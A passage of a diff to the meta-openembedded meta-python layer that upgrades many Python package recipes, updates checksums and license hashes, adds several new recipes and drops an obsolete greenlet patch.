-@@ -9,8 +9,8 @@
- static int
- slp_switch(void)
- {
-- register int ret;
-- register long *stackref, stsizediff;
-+ int ret;
-+ long *stackref, stsizediff;
- __asm__ volatile ("" : : : REGS_TO_SAVE);
- __asm__ volatile ("mov $30, %0" : "=r" (stackref) : );
- {
-diff --git a/src/greenlet/platform/switch_arm32_gcc.h b/src/greenlet/platform/switch_arm32_gcc.h
-index 035d6b9..655003a 100644
---- a/src/greenlet/platform/switch_arm32_gcc.h
-+++ b/src/greenlet/platform/switch_arm32_gcc.h
-@@ -56,7 +56,7 @@ __attribute__((optimize("no-omit-frame-pointer")))
- slp_switch(void)
- {
- void *fp;
-- register int *stackref, stsizediff;
-+ int *stackref, stsizediff;
- int result;
- __asm__ volatile ("" : : : REGS_TO_SAVE);
- __asm__ volatile ("mov r0," REG_FP "\n\tstr r0,%0" : "=m" (fp) : : "r0");
-diff --git a/src/greenlet/platform/switch_arm32_ios.h b/src/greenlet/platform/switch_arm32_ios.h
-index e993707..9e640e1 100644
---- a/src/greenlet/platform/switch_arm32_ios.h
-+++ b/src/greenlet/platform/switch_arm32_ios.h
-@@ -38,7 +38,7 @@ __attribute__((optimize("no-omit-frame-pointer")))
- slp_switch(void)
- {
- void *fp;
-- register int *stackref, stsizediff, result;
-+ int *stackref, stsizediff, result;
- __asm__ volatile ("" : : : REGS_TO_SAVE);
- __asm__ volatile ("str " REG_FP ",%0" : "=m" (fp));
- __asm__ ("mov %0," REG_SP : "=r" (stackref));
-diff --git a/src/greenlet/platform/switch_csky_gcc.h b/src/greenlet/platform/switch_csky_gcc.h
-index 7486b94..ac469d3 100644
---- a/src/greenlet/platform/switch_csky_gcc.h
-+++ b/src/greenlet/platform/switch_csky_gcc.h
-@@ -23,7 +23,7 @@ __attribute__((optimize("no-omit-frame-pointer")))
- #endif
- slp_switch(void)
- {
-- register int *stackref, stsizediff;
-+ int *stackref, stsizediff;
- int result;
-
- __asm__ volatile ("" : : : REGS_TO_SAVE);
-diff --git a/src/greenlet/platform/switch_mips_unix.h b/src/greenlet/platform/switch_mips_unix.h
-index 1916b26..b9003e9 100644
---- a/src/greenlet/platform/switch_mips_unix.h
-+++ b/src/greenlet/platform/switch_mips_unix.h
-@@ -19,8 +19,8 @@
- static int
- slp_switch(void)
- {
-- register int err;
-- register int *stackref, stsizediff;
-+ int err;
-+ int *stackref, stsizediff;
- #ifdef __mips64
- uint64_t gpsave;
- #endif
-diff --git a/src/greenlet/platform/switch_ppc64_aix.h b/src/greenlet/platform/switch_ppc64_aix.h
-index e07b8de..e7e0b87 100644
---- a/src/greenlet/platform/switch_ppc64_aix.h
-+++ b/src/greenlet/platform/switch_ppc64_aix.h
-@@ -74,8 +74,8 @@
- static int
- slp_switch(void)
- {
-- register int err;
-- register long *stackref, stsizediff;
-+ int err;
-+ long *stackref, stsizediff;
- void * toc;
- void * r30;
- __asm__ volatile ("" : : : REGS_TO_SAVE);
-diff --git a/src/greenlet/platform/switch_ppc64_linux.h b/src/greenlet/platform/switch_ppc64_linux.h
-index 88e6847..3c324d0 100644
---- a/src/greenlet/platform/switch_ppc64_linux.h
-+++ b/src/greenlet/platform/switch_ppc64_linux.h
-@@ -76,8 +76,8 @@
- static int
- slp_switch(void)
- {
-- register int err;
-- register long *stackref, stsizediff;
-+ int err;
-+ long *stackref, stsizediff;
- void * toc;
- void * r30;
- __asm__ volatile ("" : : : REGS_TO_SAVE);
-diff --git a/src/greenlet/platform/switch_ppc_aix.h b/src/greenlet/platform/switch_ppc_aix.h
-index c7d476f..6d93c13 100644
---- a/src/greenlet/platform/switch_ppc_aix.h
-+++ b/src/greenlet/platform/switch_ppc_aix.h
-@@ -53,8 +53,8 @@
- static int
- slp_switch(void)
- {
-- register int err;
-- register int *stackref, stsizediff;
-+ int err;
-+ int *stackref, stsizediff;
- __asm__ volatile ("" : : : REGS_TO_SAVE);
- __asm__ ("mr %0, 1" : "=r" (stackref) : );
- {
-diff --git a/src/greenlet/platform/switch_ppc_linux.h b/src/greenlet/platform/switch_ppc_linux.h
-index 0a71255..e83ad70 100644
---- a/src/greenlet/platform/switch_ppc_linux.h
-+++ b/src/greenlet/platform/switch_ppc_linux.h
-@@ -49,8 +49,8 @@
- static int
- slp_switch(void)
- {
-- register int err;
-- register int *stackref, stsizediff;
-+ int err;
-+ int *stackref, stsizediff;
- __asm__ volatile ("" : : : REGS_TO_SAVE);
- __asm__ ("mr %0, 1" : "=r" (stackref) : );
- {
-diff --git a/src/greenlet/platform/switch_ppc_macosx.h b/src/greenlet/platform/switch_ppc_macosx.h
-index 56e573f..d6e5a03 100644
---- a/src/greenlet/platform/switch_ppc_macosx.h
-+++ b/src/greenlet/platform/switch_ppc_macosx.h
-@@ -46,8 +46,8 @@
- static int
- slp_switch(void)
- {
-- register int err;
-- register int *stackref, stsizediff;
-+ int err;
-+ int *stackref, stsizediff;
- __asm__ volatile ("" : : : REGS_TO_SAVE);
- __asm__ ("; asm block 2\n\tmr %0, r1" : "=g" (stackref) : );
- {
-diff --git a/src/greenlet/platform/switch_ppc_unix.h b/src/greenlet/platform/switch_ppc_unix.h
-index 2b3d307..ca590a5 100644
---- a/src/greenlet/platform/switch_ppc_unix.h
-+++ b/src/greenlet/platform/switch_ppc_unix.h
-@@ -47,8 +47,8 @@
- static int
- slp_switch(void)
- {
-- register int err;
-- register int *stackref, stsizediff;
-+ int err;
-+ int *stackref, stsizediff;
- __asm__ volatile ("" : : : REGS_TO_SAVE);
- __asm__ ("mr %0, 1" : "=g" (stackref) : );
- {
-diff --git a/src/greenlet/platform/switch_s390_unix.h b/src/greenlet/platform/switch_s390_unix.h
-index 6641854..9199367 100644
---- a/src/greenlet/platform/switch_s390_unix.h
-+++ b/src/greenlet/platform/switch_s390_unix.h
-@@ -36,8 +36,8 @@
- static int
- slp_switch(void)
- {
-- register int ret;
-- register long *stackref, stsizediff;
-+ int ret;
-+ long *stackref, stsizediff;
- __asm__ volatile ("" : : : REGS_TO_SAVE);
- #ifdef __s390x__
- __asm__ volatile ("lgr %0, 15" : "=r" (stackref) : );
-diff --git a/src/greenlet/platform/switch_sparc_sun_gcc.h b/src/greenlet/platform/switch_sparc_sun_gcc.h
-index 652b57f..96990c3 100644
---- a/src/greenlet/platform/switch_sparc_sun_gcc.h
-+++ b/src/greenlet/platform/switch_sparc_sun_gcc.h
-@@ -51,8 +51,8 @@
- static int
- slp_switch(void)
- {
-- register int err;
-- register int *stackref, stsizediff;
-+ int err;
-+ int *stackref, stsizediff;
-
- /* Put current stack pointer into stackref.
- * Register spilling is done in save/restore.
-diff --git a/src/greenlet/platform/switch_x32_unix.h b/src/greenlet/platform/switch_x32_unix.h
-index cb14ec1..893369c 100644
---- a/src/greenlet/platform/switch_x32_unix.h
-+++ b/src/greenlet/platform/switch_x32_unix.h
-@@ -22,8 +22,8 @@ slp_switch(void)
- void* ebx;
- unsigned int csr;
- unsigned short cw;
-- register int err;
-- register int *stackref, stsizediff;
-+ int err;
-+ int *stackref, stsizediff;
- __asm__ volatile ("" : : : REGS_TO_SAVE);
- __asm__ volatile ("fstcw %0" : "=m" (cw));
- __asm__ volatile ("stmxcsr %0" : "=m" (csr));
-diff --git a/src/greenlet/platform/switch_x86_unix.h b/src/greenlet/platform/switch_x86_unix.h
-index 3a95186..493fa6b 100644
---- a/src/greenlet/platform/switch_x86_unix.h
-+++ b/src/greenlet/platform/switch_x86_unix.h
-@@ -51,7 +51,7 @@ slp_switch(void)
- #endif
- void *ebp, *ebx;
- unsigned short cw;
-- register int *stackref, stsizediff;
-+ int *stackref, stsizediff;
- __asm__ volatile ("" : : : "esi", "edi");
- __asm__ volatile ("fstcw %0" : "=m" (cw));
- __asm__ volatile ("movl %%ebp, %0" : "=m" (ebp));
---
-2.39.1
-
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-greenlet_2.0.2.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-greenlet_3.0.1.bb
index a2e036a891..523c2b6b23 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-greenlet_2.0.2.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-greenlet_3.0.1.bb
@@ -4,7 +4,6 @@ LICENSE = "MIT & PSF-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=e95668d68e4329085c7ab3535e6a7aee \
file://LICENSE.PSF;md5=c106931d9429eda0492617f037b8f69a"
-SRC_URI += "file://0001-cleanup-Drop-using-register-storage-class-keyword-ev.patch"
-SRC_URI[sha256sum] = "e7c8dc13af7db097bed64a051d2dd49e9f0af495c26995c00a9ee842690d34c0"
+SRC_URI[sha256sum] = "816bd9488a94cba78d93e1abb58000e8266fa9cc2aa9ccdd6eb0696acb24005b"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-h5py_3.9.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-h5py_3.10.0.bb
index 834bb031ca..e772106857 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-h5py_3.9.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-h5py_3.10.0.bb
@@ -4,7 +4,7 @@ SECTION = "devel/python"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=113251d71fb0384712c719b567261c5c"
-SRC_URI[sha256sum] = "e604db6521c1e367c6bd7fad239c847f53cc46646f2d2651372d05ae5e95f817"
+SRC_URI[sha256sum] = "d93adc48ceeb33347eb24a634fb787efc7ae4644e6ea4ba733d099605045c049"
SRC_URI += "file://0001-setup_build.py-avoid-absolute-path.patch"
@@ -24,7 +24,7 @@ DEPENDS = "python3-pkgconfig-native \
PACKAGESPLITFUNCS =+ "fix_cythonized_sources"
fix_cythonized_sources() {
- for f in `grep -l -r -e '\/* Generated by Cython.*/$' ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}`; do
+ for f in `grep -l -r -e '\/* Generated by Cython.*/$' ${PKGD}${TARGET_DBGSRC_DIR}`; do
if [ -e $f ]; then
sed -i -e 's#${RECIPE_SYSROOT_NATIVE}##g' $f
fi
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-hexbytes_0.3.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-hexbytes_1.0.0.bb
index 19b5813ad3..951998b5a1 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-hexbytes_0.3.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-hexbytes_1.0.0.bb
@@ -2,8 +2,8 @@ SUMMARY = "Python bytes subclass that decodes hex, with a readable console outpu
HOMEPAGE = "https://github.com/ethereum/hexbytes"
SECTION = "devel/python"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=287820ad3553117aa2f92bf84c219324"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=16ffc86adf4293d4cfb204e77d62cfe6"
-SRC_URI[sha256sum] = "a3fe35c6831ee8fafd048c4c086b986075fc14fd46258fa24ecb8d65745f9a9d"
+SRC_URI[sha256sum] = "18e6e3279a13878b93fb85da77822dc506b7048065a588e74141c2468a65ad8c"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-huey_2.4.5.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-huey_2.5.0.bb
index dbddd6cb80..c6e5606090 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-huey_2.4.5.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-huey_2.5.0.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=5cac039fcc82f01141cc170b48f315d4"
PYPI_PACKAGE = "huey"
-SRC_URI[sha256sum] = "760cf150deff1fa34b852da37701a5a750d1148f03ea07aa2b3764dc6060b4c3"
+SRC_URI[sha256sum] = "2ffb52fb5c46a1b0d53c79d59df3622312b27e2ab68d81a580985a8ea4ca3480"
RDEPENDS:${PN} += " \
python3-datetime \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-icu_2.11.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-icu_2.12.bb
index c66455c7e8..6394db4e9e 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-icu_2.11.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-icu_2.12.bb
@@ -8,7 +8,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=0724597863f1581ab01429e0423e779f"
DEPENDS += "icu"
PYPI_PACKAGE = "PyICU"
-SRC_URI[sha256sum] = "3ab531264cfe9132b3d2ac5d708da9a4649d25f6e6813730ac88cf040a08a844"
+SRC_URI[sha256sum] = "bd7ab5efa93ad692e6daa29cd249364e521218329221726a113ca3cb281c8611"
SRC_URI += "file://0001-Fix-host-contamination-of-include-files.patch"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-imageio_2.31.3.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-imageio_2.33.0.bb
index 709822da70..f6275754b4 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-imageio_2.31.3.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-imageio_2.33.0.bb
@@ -5,7 +5,7 @@ SECTION = "devel/python"
LICENSE = "BSD-2-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=24cb9a367a9e641b459a01c4d15256ba"
-SRC_URI[sha256sum] = "74c6a832d81b7ad5a8a80976dea58ee033d3e2b99a54990cbd789b4cb0b31461"
+SRC_URI[sha256sum] = "39999d05eb500089e60be467dd7d618f56e142229b44c3961c2b420eeb538d7e"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-imgtool_1.10.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-imgtool_2.0.0.bb
index 5282bccd01..a25e6a61a8 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-imgtool_1.10.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-imgtool_2.0.0.bb
@@ -1,9 +1,9 @@
SUMMARY = "MCUboot's image signing and key management tool"
LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://imgtool/main.py;beginline=3;endline=18;md5=9965f09ae52c04886a1f04e13ccdce57"
+LIC_FILES_CHKSUM = "file://imgtool/main.py;beginline=3;endline=18;md5=0645fb61e2f961a110302fbfdb227446"
-SRC_URI[sha256sum] = "03b34e75934ac3d96e7c42b6bcaf11ceaf4f453f7c6f26c17d726bd183104b40"
+SRC_URI[sha256sum] = "7a541255e69eec1f12aa38dce1f1d4fe20d8212677c68a9b6ec634ca91a06612"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-inflate64_1.0.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-inflate64_1.0.0.bb
new file mode 100644
index 0000000000..d3b557406c
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-inflate64_1.0.0.bb
@@ -0,0 +1,16 @@
+SUMMARY = "deflate64 compression/decompression library"
+HOMEPAGE = "https://codeberg.org/miurahr/inflate64"
+LICENSE = "LGPL-2.1-or-later"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+inherit setuptools3 pypi
+
+SRC_URI[sha256sum] = "3278827b803cf006a1df251f3e13374c7d26db779e5a33329cc11789b804bc2d"
+
+PYPI_PACKAGE = "inflate64"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-importlib-metadata \
+"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-ipython_8.15.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-ipython_8.17.2.bb
index f06e501d76..134a358bf7 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-ipython_8.15.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-ipython_8.17.2.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://COPYING.rst;md5=59b20262b8663cdd094005bddf47af5f"
PYPI_PACKAGE = "ipython"
-SRC_URI[sha256sum] = "2baeb5be6949eeebf532150f81746f8333e2ccce02de1c7eedde3f23ed5e9f1e"
+SRC_URI[sha256sum] = "126bb57e1895594bb0d91ea3090bbd39384f6fe87c3d57fd558d0670f50339bb"
RDEPENDS:${PN} = "\
${PYTHON_PN}-setuptools \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-jedi_0.19.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-jedi_0.19.1.bb
index 58e8cc17a1..f335625188 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-jedi_0.19.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-jedi_0.19.1.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=5ed06eebfcb244cd66ebf6cef9c23ab4"
PYPI_PACKAGE = "jedi"
-SRC_URI[sha256sum] = "bcf9894f1753969cbac8022a8c2eaee06bfa3724e4192470aaffe7eb6272b0c4"
+SRC_URI[sha256sum] = "cf0496f3651bc65d7174ac1b7d043eff454892c708a87d1b683e57b569927ffd"
RDEPENDS:${PN} = " \
${PYTHON_PN}-parso \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-jsbeautifier_1.14.11.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-jsbeautifier_1.14.11.bb
new file mode 100644
index 0000000000..7b438778e9
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-jsbeautifier_1.14.11.bb
@@ -0,0 +1,19 @@
+SUMMARY = "JavaScript unobfuscator and beautifier."
+HOMEPAGE = "https://beautifier.io/"
+LICENSE = "MIT"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=8227180126797a0148f94f483f3e1489"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "6b632581ea60dd1c133cd25a48ad187b4b91f526623c4b0fb5443ef805250505"
+
+PYPI_PACKAGE="jsbeautifier"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-stringold \
+ ${PYTHON_PN}-shell \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-kivy/0001-add-support-for-glesv2.patch b/meta-openembedded/meta-python/recipes-devtools/python/python3-kivy/0001-add-support-for-glesv2.patch
index 0abc6c5c7e..e38b31d34d 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-kivy/0001-add-support-for-glesv2.patch
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-kivy/0001-add-support-for-glesv2.patch
@@ -1,8 +1,19 @@
+From 98224fec48d6e0f32b28d81220bf1ee1637ce045 Mon Sep 17 00:00:00 2001
+From: William Huang <whuang8933@gmail.com>
+Date: Thu, 2 Sep 2021 07:25:07 -0400
+Subject: [PATCH] recipes-devtools: python: add support for Kivy
+
Upstream-Status: Pending
+---
+ setup.py | 16 +++++++++++++---
+ 1 file changed, 13 insertions(+), 3 deletions(-)
+
+diff --git a/setup.py b/setup.py
+index 35e34afdd..0ba3aca72 100644
--- a/setup.py
+++ b/setup.py
-@@ -695,7 +695,18 @@ def determine_gl_flags():
+@@ -730,7 +730,18 @@ def determine_gl_flags():
c_options['use_x11'] = True
c_options['use_egl'] = True
else:
@@ -22,7 +33,7 @@ Upstream-Status: Pending
return flags, base_flags
-@@ -723,14 +734,13 @@ def determine_sdl2():
+@@ -774,14 +785,13 @@ def determine_sdl2():
sdl_inc = join(include, 'SDL2')
if isdir(sdl_inc):
sdl2_paths.append(sdl_inc)
@@ -36,5 +47,5 @@ Upstream-Status: Pending
- ['/usr/local/lib/'])
+ [''])
- if sdl2_flags:
- flags = merge(flags, sdl2_flags)
+ if kivy_sdl2_path:
+ # If we have a custom path, we need to add the rpath to the linker
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-kivy_2.1.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-kivy_2.2.1.bb
index b02c55a85b..a72ee14f6c 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-kivy_2.1.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-kivy_2.2.1.bb
@@ -2,23 +2,20 @@ SUMMARY = "Open source Python library for rapid development of applications \
that make use of innovative user interfaces, such as multi-touch apps."
HOMEPAGE = "https://kivy.org/"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=22e7b4dd8140eec57fd7edfd9fa23dfc"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=ed5cd0f2cfda42852c332e3b88c85fea"
inherit setuptools3 pkgconfig features_check
PIP_INSTALL_PACKAGE = "Kivy"
-SRC_URI = "\
- git://github.com/kivy/kivy.git;protocol=https;branch=master \
-"
-
# Kivy's setup files only look for GLES libraries for Android, iOS, RPi,
# and mali-based OS's. We need to patch the setup file to tell Kivy setup
# that our machine has GLES libaries installed as well
-# Also, if using SDL2 as backend, SDL2 needs to be configured wth gles
-SRC_URI += " \
- file://0001-add-support-for-glesv2.patch \
-"
-SRCREV = "960b95dc666753f59eff1b449124490fbec10184"
+# Also, if using SDL2 as backend, SDL2 needs to be configured with gles
+SRC_URI = "git://github.com/kivy/kivy.git;protocol=https;branch=stable \
+ file://0001-add-support-for-glesv2.patch \
+ "
+
+SRCREV = "344768bfefd2e8f5302cc9dfb8ca41991ce6f7e7"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-linux-procfs_0.7.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-linux-procfs_0.7.3.bb
index d51eecf978..8c53d38ce3 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-linux-procfs_0.7.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-linux-procfs_0.7.3.bb
@@ -2,10 +2,10 @@ DESCRIPTION = "Python classes to extract information from the Linux kernel /proc
HOMEPAGE = "https://git.kernel.org/pub/scm/libs/python/python-linux-procfs/python-linux-procfs.git/"
SECTION = "devel/python"
LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6a6855782848d572347212f667a2d637"
SRC_URI = "git://git.kernel.org/pub/scm/libs/python/python-linux-procfs/python-linux-procfs.git;branch=main"
-SRCREV = "7f43598387e44e2da93ead2e075b7232429e4cc4"
+SRCREV = "59ecd1ba018141a02ffe59c16a9346991dfd0d48"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-lru-dict_1.2.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-lru-dict_1.3.0.bb
index 7a3a172746..e9535fa6f1 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-lru-dict_1.2.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-lru-dict_1.3.0.bb
@@ -4,7 +4,7 @@ SECTION = "devel/python"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=9d10a486ee04034fdef5162fd791f153"
-SRC_URI[sha256sum] = "13c56782f19d68ddf4d8db0170041192859616514c706b126d0df2ec72a11bd7"
+SRC_URI[sha256sum] = "54fd1966d6bd1fcde781596cb86068214edeebff1db13a2cea11079e3fd07b6b"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-m2crypto_0.39.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-m2crypto_0.40.1.bb
index d47ec2bac4..a55ded34d7 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-m2crypto_0.39.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-m2crypto_0.40.1.bb
@@ -11,7 +11,7 @@ SRC_URI += "file://0001-setup.py-link-in-sysroot-not-in-host-directories.patch \
file://avoid-host-contamination.patch \
file://0001-setup.py-address-openssl-3.x-build-issue.patch \
"
-SRC_URI[sha256sum] = "24c0f471358b8b19ad4c8aa9da12e868030b65c1fdb3279d006df60c9501338a"
+SRC_URI[sha256sum] = "bbfd113ec55708c05816252a4f09e4237df4f3bbfc8171cbbc33057d257bbb30"
PYPI_PACKAGE = "M2Crypto"
inherit pypi siteinfo setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-mccabe_0.7.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-mccabe_0.7.0.bb
index a2c72fcc99..265b28a771 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-mccabe_0.7.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-mccabe_0.7.0.bb
@@ -9,3 +9,5 @@ SRC_URI[sha256sum] = "348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f
inherit pypi setuptools3
DEPENDS += "${PYTHON_PN}-pytest-runner-native"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-meson-python_0.13.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-meson-python_0.15.0.bb
index 6b9ff24f2a..c4b01a3832 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-meson-python_0.13.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-meson-python_0.15.0.bb
@@ -11,7 +11,7 @@ DEPENDS = " \
PYPI_PACKAGE = "meson_python"
inherit pypi python_mesonpy
-SRC_URI[sha256sum] = "63b3170001425c42fa4cfedadb9051cbd28925ff8eed7c40d36ba0099e3c7618"
+SRC_URI[sha256sum] = "fddb73eecd49e89c1c41c87937cd89c2d0b65a1c63ba28238681d4bd9484d26f"
DEPENDS:remove:class-native = "python3-meson-python-native"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-msgpack_1.0.6.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-msgpack_1.0.7.bb
index 3cddcb9ae3..79943b55e4 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-msgpack_1.0.6.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-msgpack_1.0.7.bb
@@ -4,7 +4,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=cd9523181d9d4fbf7ffca52eaa2a5751"
inherit pypi setuptools3 ptest
-SRC_URI[sha256sum] = "25d3746da40f3c8c59c3b1d001e49fd2aa17904438f980d9a391370366df001e"
+SRC_URI[sha256sum] = "572efc93db7a4d27e404501975ca6d2d9775705c2d922390d878fcf768d92c87"
RDEPENDS:${PN}:class-target += "\
${PYTHON_PN}-io \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-multivolumefile_0.2.3.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-multivolumefile_0.2.3.bb
new file mode 100644
index 0000000000..c82113101b
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-multivolumefile_0.2.3.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Multi volume file wrapper library"
+HOMEPAGE = "https://codeberg.org/miurahr/multivolume"
+LICENSE = "LGPL-2.1-or-later"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI[sha256sum] = "a0648d0aafbc96e59198d5c17e9acad7eb531abea51035d08ce8060dcad709d6"
+
+inherit python_setuptools_build_meta pypi
+
+DEPENDS += " \
+ ${PYTHON_PN}-setuptools-scm-native \
+ ${PYTHON_PN}-toml-native \
+ ${PYTHON_PN}-wheel-native \
+"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-mmap \
+"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-mypy_1.5.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-mypy_1.7.0.bb
index 50ad9efea1..432cefcbfa 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-mypy_1.5.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-mypy_1.7.0.bb
@@ -1,11 +1,11 @@
SUMMARY = "Optional static typing for Python 3 and 2 (PEP 484)"
HOMEPAGE = "https://github.com/python/mypy"
LICENSE = "MIT & Python-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=6ba8ec528da02073b7e1f4124c0f836f"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=8d62fd8f8648cb018e52857347e340b9"
inherit pypi python_setuptools_build_meta
-SRC_URI[sha256sum] = "b031b9601f1060bf1281feab89697324726ba0c0bae9d7cd7ab4b690940f0b92"
+SRC_URI[sha256sum] = "1e280b5697202efa698372d2f39e9a6713a0395a756b1c6bd48995f8d72690dc"
BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-nacl_1.5.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-nacl_1.5.0.bb
deleted file mode 100644
index 7d5292745b..0000000000
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-nacl_1.5.0.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "Python binding to the Networking and Cryptography (NaCl) library"
-HOMEPAGE = "https://github.com/pyca/pynacl"
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=8cc789b082b3d97e1ccc5261f8594d3f"
-
-PYPI_PACKAGE = "PyNaCl"
-
-inherit pypi setuptools3
-
